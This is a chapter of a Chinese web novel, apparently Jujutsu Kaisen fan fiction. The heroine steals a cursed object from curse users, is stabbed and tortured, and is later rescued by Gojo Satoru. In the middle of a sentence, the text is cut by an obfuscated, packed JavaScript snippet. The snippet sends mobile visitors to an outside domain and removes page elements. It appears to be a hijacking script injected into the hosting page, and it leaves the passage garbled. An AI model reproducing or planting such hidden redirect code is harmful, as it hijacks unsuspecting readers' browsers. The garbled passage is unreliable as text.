四人拐过木箱,看不见旁边的桃山枝。
她死死咬着下唇,目光凝在前田勇人手中的木盒上。
她可以不用管,趁他们去后面房间时,从这里安全离开,出口就在前方不远处。
有无数的借口让她现在离开。
毕竟面对四个穷凶极恶的诅咒师,她没有一点胜算。
诅咒师不比咒灵,咒灵无法思考,遵从本能,下杀手时候不会犹豫。
诅咒师不同。
桃山枝知道,如果被抓住,会被拷问,不会轻易死去。
如果连死亡这个武器都没有,她只是一只任人宰割的羔羊。
她在心里反复诘问自己,值得吗?
但等前田勇人经过身边时,桃山枝毫不犹豫,用力夺过盒子就跑。
前田勇人没想到有人直接从手里抢东西,还这么诡异,看不到人,盒子也跟凭空消失。
他反应很快,“去把出口封锁住!”
不可能会消失,一定用了某种术式。
诅咒师动作很快,寸头男朝通道楼梯方向疾驰,马尾女在错落的木箱中搜寻,老头去检查地下室所有房间。
前田勇人在关押咒灵的地方转了一圈,想上前检查,但里面动静太大,一时间心有戚戚,不想在六眼来之前直面里面怪物。
“找到了吗?”他朝三位诅咒师问询。
一无所获。
前天勇人要气疯了,愤怒地将身边货架推倒,没注意到,目标就在距离不到一米的地方。
桃山枝盯着左上角倒计时,心脏怦怦直跳。
【00:00:30】,29...28...27。
时间不断流逝。
出口被封锁住,无路可逃。
在仅剩5秒时她闭了闭眼,没有试图再跑。
“原来是一只可爱的小老鼠。”
阴冷黏腻的声音在背后响起,寒意从桃山枝脚底窜上脊背,她唯一能做的只有抱紧怀中的盒子死死不放手。
搜寻房间的老头第一个发现她。
“先砍下她的手。”
前田勇人听到动静,追上来,用力踢了脚被丢在地上的桃山枝。
从桃山枝忍痛的表情中得到些许快意,他拦住正准备挥刀的老头,“等等我来。”
他改变主意了,他要慢慢折磨她。
这计划他准备了一个月,将所有家当都压在上面,委身于这个肮脏的、恶臭的、阴湿的地下室。
他绝不容许出现任何意外。
这只不知道从哪里钻出来的老鼠,居然想要直接窃取他的成果。
怎么敢!
他要她痛不欲生。
前田勇人不着急取回盒子,抢过短刀,刺进桃山枝腿上,又插|入她左臂。
看到她脸色瞬间苍如纸,浑身颤抖,前田勇人满意一笑。
但没听到求饶和哀号声,前田勇人十分不满,蹲下身用力将桃山枝的头掰过来,见她死死咬着唇瓣,就算痛得咬出血也不肯出声。
“原来还是一个硬骨头。”前田勇人捏住桃山枝下颚,握着刀在她脸上滑动。
血液染红苍白的面容,竟如涂上胭脂般美丽。
“你有张不错的脸蛋,我都有些怜香惜玉了。”
寸头男回来,也凑上前,粗粝的指腹刮下桃山枝脸上的血液,含进嘴里,感叹道:“是甜的。”
“滚开,这是我的猎物。”前田勇人将寸头男呵斥开,让另外两人去检查等会要用的陷阱。
他改变原本想要剥下桃山枝面皮的动作,重新用刀往她未受伤的另一条腿刺去。
这一击比刚才更加用劲,奔着让她再也不能站起来下刀。
桃山枝无法动弹,唯一一只没有受伤的手臂死死抱住盒子。
最坏的事情还是发生了,她无法轻易死去。
好在,她并没有表面看起来那么凄惨。
疼痛没有预想中的那般强烈。
她确定,痛感随着死亡次数的增加而减轻。
是疼的,却可以忍受。
只是这种任人鱼肉的屈辱感,如蛇爬过身体般黏腻的视线,都让她几欲作呕。
但她除了紧咬牙关,抱紧怀中的盒子,连反抗也做不了。
这很好,一如她所预料,他们不会第一时间杀她,这些痛楚暂时忍耐下来,她要静待时机,寻找突围的机会。
现在她不能死。
如果死了,怀里的咒物就会掉落在原地,而她不知道下次落地的地方会在哪里,不能第一时间告诉五条悟这个消息。
真的让这几个诅咒师的阴谋得逞,她连想都不敢想。
前田勇人将她的另一条腿也刺伤,鲜红的血液在桃山枝身下铺陈开,她依旧一声不吭,就好像完全感受不到痛感一样。
猎物无动于衷的模样激怒了前田勇人。
他气笑了,扯着桃山枝的头发,将人拉起,拖着往后面那间关押咒灵的房间走去。
“便宜你了,我大费周折找来的咒灵。”前天勇人冷笑一声,脸上闪过扭曲的快意,“你会在咒灵的领域中品尝最极致的痛苦后死去。”
桃山枝充耳不闻,将盒子勉力塞进睡衣里。
前田勇人把人拖拽到关押咒灵的房间面前,停住脚步。
在把这只老鼠喂咒灵前,得取回她偷走的咒物。
但还没等他动作,前田勇人目光扫过那扇门,笑容顿时一滞,脊背发凉,寒意窜上四肢。
不知何时,牢固的封印已经被撕开。
而门内的动静越来越大,终于——
不堪重负地碎裂开。
桃山枝这时动了,举着藏在口袋里的刀,用力朝前田勇人的手上刺去。
一声惨叫声响起。
前田勇人下意识甩开桃山枝,抱着鲜血入注的手满眼不可置信。
桃山枝被重重摔在木箱上,痛得闷哼出声。
她趴在地上缓了会,挣扎坐起,唇角微勾,带着血腥味,看向前田勇人。
“这只咒灵,不如你先体验下?”
裹挟着恐怖气息的咒灵从破碎的门中冲出来,首当其冲的,便是挡在门前的前田勇人。
另外三位诅咒师注意到这边动静,连忙跑来,但看到这个可怖的景象,齐齐往后退。
他们要钱,但是更珍惜命。
眼前的咒灵没有实体,浓郁到如同墨汁的雾气呈现出一个人形,周身的气息可怖至极。
这不是最让人惊愕的。
前田勇人就像是陷入了什么幻境中,满脸骇然,似乎看到了什么极致可怕的景象,僵立
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15437047|167985||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在原地,无法反抗,像木偶一样,被抓住一条腿,硬生生扯断。
三个诅咒师立马掉头离开。
桃山枝离得不远,脸上被溅上温热的鲜血。
那个咒灵扯掉前田勇人腿后就失去兴趣,脸部挖空的两处,似乎是眼睛的地方,看到她,立马用更快的速度冲过来。
桃山枝躲不开。
希望它能让她尽快死去。
怀里的咒物会掉在原地,不过诅咒师和前田勇人现在自顾不暇,应该不会再有心思用它去伤害五条悟。
五条悟现在可是欠她人情,后面一定要让那家伙还回来。
桃山枝想着,终于疲惫地闭上眼睛。
一秒,两秒,三秒......
没有痛感。
取而代之是十分奇异的感觉。
就像是浸在水里,四周液体迫不及待朝她的口、鼻、耳内涌去。
她应该无法呼吸。
却毫无感觉。
桃山枝睁开眼睛,却发现自己正漂浮在黑暗中,伸手不见五指,前方不远处有光亮起。
她疑惑地往前游去,下秒落入人间。
熟悉的地方。
这里是——
她的家。
她真正的家。
桃山枝坐在软垫上惊疑不定,四周的装潢、陈设都是她亲手设计,电视旁有一整面墙的展示柜,里面放着她从各地掏来的手办。
怎么回事?
她回来了?
桃山枝隐约觉得不对,但手下柔软的触感如此真实,她不可置信地站起身,往屋外跑去。
熟悉又陌生的街道。
家是她的家,但外面却不是她的世界。
桃山枝看着隔壁陌生的门牌,心下一沉。
这里还是咒○的世界。
是咒灵的术式?
她只能想到这个原因,她没有被直接杀死,而是落入了幻境。
可这样的幻境,有什么杀机吗?
桃山枝愣在原地,一时间游移不定。
但很快地,周遭的景象变了。
她又回到涩谷地铁站,开始重新经历一次逃亡,又在涉谷之光大厦前遇到了五条悟。
而这次,她没有再逃走。
她死了。
被五条悟毫不留情杀死。
紧接着画面一转,她来到世田谷公园,重新遇到那只咒灵,眼睁睁看着所有人因为她将咒灵吸引来,而全部丧命。
她被带回高专,判定为诅咒师,由五条悟亲手处决。
一幕接着一幕,无数熟悉的经历,截然相反的走向。
结果相同的是——她被五条悟杀死。
毫不留情。
那双她非常钟爱的蓝眼睛里,她看见的只有深深的憎恶,没有其他。
不知道过了多久。
“枝酱!”
一声遥远的呼唤在耳边响起,桃山枝在血泊中睁开眼,看见那个杀了她无数次的人朝她疾跑而来。
桃山枝眼睫微颤,犹疑片刻,分不清是梦境还是现实,踌躇着。
最终,在心的驱使下,她勉力抬起手,执拗地想要再次触碰他。
这次没有被嫌恶地拍开,而是被紧紧攥住。
如同神明一样的人将她抱起。